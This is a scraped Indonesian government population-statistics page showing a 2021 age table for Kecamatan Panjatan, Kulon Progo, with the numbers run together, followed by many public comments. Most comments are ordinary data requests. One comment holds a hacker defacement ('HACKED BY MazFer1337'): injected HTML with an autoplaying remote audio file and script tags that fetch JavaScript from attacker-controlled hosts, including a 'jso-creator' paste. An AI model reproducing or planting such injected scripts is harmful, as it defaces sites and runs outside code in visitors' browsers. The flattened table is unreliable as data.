Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN PANJATAN, KABUPATEN KULON PROGO, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaGARONGANPLERETBUGELKANOMANDEPOKBOJONGTAYUBANGOTAKANPANJATANCERMEKREMBANGANTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun4732 796262 1244640 862624 502830 584044 841720 372632 581611 274638 846763 130421 396 817
2 tahun3123 543427 613623 591011 211917 362522 471615 311913 3269 153419 534435 79274 214 488
3 tahun2421 453238 703123 54912 211711 283529 641612 282325 48717 242629 554137 78261 254 515
4 tahun1824 422521 462923 5298 171925 442626 521520 351716 3346 102325 483028 58215 222 437
5 tahun3026 562539 642432 561910 292023 433129 601816 342229 51138 213025 555140 91283 277 560
6 tahun1735 523936 752934 63134 171822 402836 641317 301918 37911 202618 444031 71251 262 513
7 tahun2514 393826 643434 68109 192721 482933 621516 311724 41810 183026 563338 71266 251 517
8 tahun3522 573437 713227 591015 252619 453435 691314 272518 431111 223525 603133 64286 256 542
9 tahun3525 603733 703330 63914 232416 403133 641619 351628 44410 143926 654731 78291 265 556
10 tahun3430 643735 724333 76814 221921 403129 601724 411820 38175 222331 544329 72290 271 561
11 tahun2845 733735 722825 531717 341535 503827 652022 422122 43147 212334 573149 80272 318 590
12 tahun2620 463837 754332 751225 372723 502926 552017 371827 451211 233625 613737 74298 280 578
13 tahun2833 612844 723638 741312 251923 422834 621818 362826 541518 332321 442739 66263 306 569
14 tahun3627 633724 613339 721513 282627 533737 741525 403417 51188 262827 555044 94329 288 617
15 tahun3021 514637 833329 621515 302520 452938 67713 201825 431110 213123 544635 81291 266 557
16 tahun2620 464432 763326 591420 341823 413639 752110 312531 56810 183117 483526 61291 254 545
17 tahun2926 555237 893835 732211 332214 362531 561617 332821 491117 283224 564534 79320 267 587
18 tahun2928 574142 832948 772124 452422 462534 591511 262623 492214 362621 474036 76298 303 601
19 tahun2627 534835 833834 721219 312314 373222 541417 312222 44618 242325 483439 73278 272 550
20 tahun3518 533933 722635 611414 281926 455229 811212 241725 42209 292621 474133 74301 255 556
21 tahun2237 594248 903437 711615 312828 563935 741822 403328 6198 172328 514038 78304 324 628
22 tahun3428 623037 672437 611413 271523 382632 581410 242019 391310 232922 513534 69254 265 519
23 tahun2923 524331 743226 583019 492623 494029 691319 322620 461311 242024 443947 86311 272 583
24 tahun2926 554043 832735 622115 362922 515127 781315 283228 601610 264035 753430 64332 286 618
25 tahun3631 673923 624534 791512 272118 393641 773023 531731 481215 272030 504232 74313 290 603
26 tahun3337 704333 763829 672113 341918 373923 622210 322123 44134 173235 674337 80324 262 586
27 tahun2926 553941 802724 511718 352417 413431 651820 381721 38108 182924 535447 101298 277 575
28 tahun3426 604248 902827 55113 141916 353221 532213 352718 451011 212124 453039 69276 246 522
29 tahun2421 453729 663829 671211 232815 433427 61813 213030 60911 203226 584946 95301 258 559
30 tahun2625 512630 561417 31716 232019 392832 601422 361715 32138 212425 492434 58213 243 456
31 tahun1722 393336 692120 41177 241518 332132 531113 241717 3468 142919 483438 72221 230 451
32 tahun1823 413529 642618 441312 251821 392541 661318 312315 38814 222630 562641 67231 262 493
33 tahun2029 493830 682625 51711 181316 293124 551317 301910 29106 162523 484050 90242 241 483
34 tahun1821 392228 502332 55107 171718 353229 611515 301519 34119 202429 533338 71220 245 465
35 tahun2129 502920 492524 49912 212024 442424 481314 272424 48615 212731 584235 77240 252 492
36 tahun2731 582633 592931 601516 311919 383328 611414 282316 3974 113129 603929 68263 250 513
37 tahun2929 582636 622029 491416 302732 594334 771616 322626 5259 143429 634139 80281 295 576
38 tahun2827 553536 712938 67159 242019 394133 742323 462722 49139 223533 685834 92324 283 607
39 tahun1921 402327 503739 761710 272320 432732 591820 382027 47513 182733 603040 70246 282 528
40 tahun3119 503434 683130 611416 302221 433129 601412 261728 45108 182416 404541 86273 254 527
41 tahun3229 614132 732929 58715 222325 482332 55912 211819 37916 252725 524237 79260 271 531
42 tahun3016 463942 812927 561114 252223 453626 621721 382029 491612 281623 393343 76269 276 545
43 tahun2633 593332 654543 881917 362816 443530 651711 282124 451013 232317 403622 58293 258 551
44 tahun2619 452640 662741 682111 321923 423323 561617 332123 44713 202125 462448 72241 283 524
45 tahun1925 443844 822726 531216 282026 462335 581612 282722 491316 291930 493826 64252 278 530
46 tahun2729 564424 683238 701417 311720 372732 592016 361521 361012 221526 413740 77258 275 533
47 tahun2129 503027 573236 681513 282518 432536 61816 242216 38913 222618 443340 73246 262 508
48 tahun2633 592840 684241 831816 341819 372917 46821 292226 481710 272125 464131 72270 279 549
49 tahun2529 543733 704129 70915 242927 563226 581919 382116 37129 212921 502730 57281 254 535
50 tahun3627 633238 703648 841618 342923 523829 671713 301716 33159 242326 493534 69294 281 575
51 tahun3928 674448 923543 781921 402431 552625 511417 312231 531717 342742 693859 97305 362 667
52 tahun2322 454040 805136 871414 282618 443635 711314 271533 481111 223521 564943 92313 287 600
53 tahun1825 433139 703634 70920 292923 522434 581814 321116 271217 293333 663735 72258 290 548
54 tahun2923 523237 693228 60810 182014 343034 641616 322624 50107 172726 534039 79270 258 528
55 tahun3138 693433 673230 621315 281619 352724 511819 372320 431112 232123 443444 78260 277 537
56 tahun3328 613840 782727 542517 422225 473125 561219 312121 421312 252724 513134 65280 272 552
57 tahun1833 512929 581830 481213 253120 512826 541616 321917 36125 172327 503732 69243 248 491
58 tahun2127 483434 682726 531220 321517 322931 601315 281515 30919 281924 432347 70217 275 492
59 tahun2218 403121 522221 431212 241916 351428 421517 321514 29710 171519 342129 50193 205 398
60 tahun2516 412333 562823 511710 271717 342525 501219 311921 40811 192225 472525 50221 225 446
61 tahun3025 553032 622432 56912 211920 393629 651422 361423 3797 162233 553634 70243 269 512
62 tahun1922 412427 511322 351016 261725 422627 53815 23209 2968 142615 412433 57193 219 412
63 tahun1615 312622 481823 41810 182216 382222 441210 22913 2278 151415 292831 59182 185 367
64 tahun118 193032 621712 29157 221213 252124 451111 221913 3277 142415 391521 36182 163 345
65 tahun1019 291420 341716 33616 221911 302512 37915 241513 2845 91820 382232 54159 179 338
66 tahun1013 231513 282431 551515 301622 382719 461319 321019 2957 121919 382234 56176 211 387
67 tahun1912 312414 381014 24614 201011 212224 46107 17129 2146 10169 252919 48162 139 301
68 tahun97 16410 14620 2649 13108 18922 31812 20911 2027 91010 202620 4697 136 233
69 tahun1211 231717 341910 29109 19912 211413 27104 141713 3060 679 161716 33138 114 252
70 tahun713 20179 26118 19512 171110 211018 28811 191116 2765 111211 232627 53124 140 264
71 tahun1614 302018 381419 33511 16819 271615 3199 181017 2739 121712 292228 50140 171 311
72 tahun117 181011 211210 221311 24510 15614 2077 1465 1157 12314 171113 2489 109 198
73 tahun99 18915 24139 2223 566 12813 2167 1356 1104 426 8610 1666 88 154
74 tahun78 15613 19619 2553 877 1487 1553 837 1035 838 1198 1762 88 150
75 tahun79 16613 19610 16310 131410 2499 1854 91013 2304 439 121321 3476 112 188
76 tahun89 17718 251512 2749 13714 21812 20412 16514 1935 8714 211711 2885 130 215
77 tahun66 12107 17108 1857 1244 8915 2445 983 1112 353 81018 2872 78 150
78 tahun78 1594 13314 1776 1359 14710 1716 776 1334 779 161612 2872 88 160
79 tahun38 11711 18310 1385 1343 766 1224 652 723 51011 21810 1858 73 131
80 ke atas2057 774896 1444686 1323135 662832 604364 1072539 642849 771218 305059 10961102 163392 637 1.029
Jumlah1.8771.8553.7322.4722.4904.9622.1832.2624.4451.0271.0662.0931.5401.5213.0612.2112.1854.3961.1011.2102.3111.5031.5843.0877477761.5231.8871.8463.7332.6902.7445.434 19.238 19.539 38.777
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih